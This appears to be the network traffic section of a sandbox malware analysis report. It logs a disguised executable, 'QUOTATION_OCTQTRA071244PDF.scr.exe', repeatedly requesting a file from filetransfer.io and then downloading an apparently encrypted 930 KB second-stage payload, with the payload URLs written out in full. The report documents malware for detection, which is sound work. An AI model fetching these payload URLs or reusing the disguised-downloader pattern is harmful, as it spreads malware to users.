Oct 4, 2024 11:26:28.739602089 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:29.393899918 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UAN7d%2FoGKhMTLo2kZYv3iTtjIPV1F%2FWHdAMNhxIlkxNT0BZhVF%2Fonv3TgCJTji07B9obyKIffPiRqWqz6ZYodSVrU1wAcoz51reUwHRWeQEUPs4yjb4TwstvP2KikQDTxfI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421703f8e4319-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50278	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:33.142693996 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:26:33.790441990 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WEICBb8SsCq6qSI%2FO2D44ea9HmgD43xteiXs2n7wWSUIA%2FyI9WH9drGCTO7glU%2FRDpgtWAaR%2Bc9Z2y%2FZH3v6tEpryESYHBWXJYWW1aD1yQiAnLi9t4o1r61cgsYx0e%2B0zx4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4218ba924422e-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50281	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:37.054584026 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:37.620296001 CEST	825	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=79PI3bC6E7snQNIJucgLbeBU7Gvc7TGjcok9KLVOCnvLSzgdjL1KiRbK8P0LV6nXRBRMZgJzMsnriW1QwtHqvt5Z867JK3r3yNqr2iKWHJFB4GVOXhAQl2hehTkQ54ZRxsE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421a41d1c42b5-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50283	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:37.631737947 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:38.267967939 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qbz7DZyKb2JAcqLDbv7Ty0s2KJiRhx2K13AGn32eU%2BaCZZongnvl56i88iWlWssqHzwj9Cl4XVShm2%2FVnUCt2N%2BtYYfBxJbnrkWnEiMXGfiltFy213%2BBTMJ3%2F8ahRFU7PeU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421a7a99615d7-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50286	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:41.938304901 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:42.582461119 CEST	834	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oRASW117bVjZjumqz%2BGb6dn0wuhj%2FcfJuwb8Ecr2mRf%2BzUR87ZVNueeLkyZzUtewwPP0Nsj5AVD6ltLjwiju%2FtRxGziRO%2B%2BEiPK%2FNRqiqum92Q1iU9p7oLOnCeFVI1rken8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421c29f6b4249-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:26:42.712810993 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50287	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:42.719799995 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:43.357384920 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ue%2BAQ6WT0QtJ0qTD0Xhwieu7%2B8kPuCaKKXpS%2Ba7DrTLeeSB757y7Opo1uulLJYsrqf7QQby1ByPF4TStc6CXSqyXBY1A3ilh8gjm%2FTxc8lwS4Ma1W7hfzdOUT4l35s%2BKWRI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421c77d66c42c-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50290	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:46.902154922 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:26:47.632231951 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jx13HylFobVqIvkLDkSTOM8eCg0LT%2BpLtw01N5ms6u99olp1H1vAnfDNlAfyO0jhfIMI%2Bf8HTpBLb0u6CbMcWxxqlJRpz6L3Iws0h2jY81YmJsCg1pARbB7yzOn2WuOxJq4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421e19dcb6a53-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:26:47.666179895 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jx13HylFobVqIvkLDkSTOM8eCg0LT%2BpLtw01N5ms6u99olp1H1vAnfDNlAfyO0jhfIMI%2Bf8HTpBLb0u6CbMcWxxqlJRpz6L3Iws0h2jY81YmJsCg1pARbB7yzOn2WuOxJq4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421e19dcb6a53-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50291	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:47.645967007 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:48.293396950 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kNjAxtHhpqMoDLlIXsiYWTty86dpXvuOq5STWWGaf%2BywrT3ExsWFW7SnFr7DfyIINdK741poang7SDQsDi3kOGTeLX7KKBjykQQyM3ut0lcg3hhhuQKTLy1r0M0GWnvX0x4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421e64a760f5b-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50294	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:51.359066963 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:52.006882906 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EMLpCS0u9qHAjpofxHiSfEa9PIjy7fLVz89mayNWzGH0bmr4oEQJwp3hKJPMROPYyOvp79cBB%2BvrzmlFYkNx5uKBz10GWSJeequMbIXaJfxF17FAI5KU7g2PwqSPfxHdo%2BU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421fd8a9d7c9f-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:22:49 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:22:52 UTC	1066	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:22:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=vs4ign7r8drietfqr48lbg7es5; expires=Fri, 18-Oct-2024 09:22:51 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/4CRE38zxXqXG CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BYdVETF4HiAV166mgHHJWO9m9ZV2WFtKo7KJ9h0ziudyFvDQOGHRnQEZZzBpEs1Rz%2BarE6%2BTU78ex8QjIMNp3MfSJe098SzvulzLgPgXPGGTTltPHHgtmnGUkAjouK0jiyM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c1be88c7d11-EWR
2024-10-04 09:22:52 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 34 43 52 45 33 38 7a 78 58 71 58 47 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/4CRE38zxXqXG">Please click here to continue</a>.</p>
2024-10-04 09:22:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:22:52 UTC	98	OUT	GET /storage/download/4CRE38zxXqXG HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:22:53 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:22:53 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=9828c639325e2350ab84626ab3df494c; expires=Fri, 18-Oct-2024 09:22:53 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ecSYoplE%2B5sgazXSpCNixtm1yAYDALWxeNSvUYmbyX%2FsfTwwzzo5a0d1IFBziOOBJrTb101N8%2F1DDDwLwXUAGnJJg9t6f3pUUnwyucNEF4o7iMyuJ%2FqQYDPONidxLrVYQcjyhE40"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41c2abb727d1e-EWR
2024-10-04 09:22:53 UTC	347	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:22:53 UTC	1369	IN	Data Raw: 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e Data Ascii: >g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^
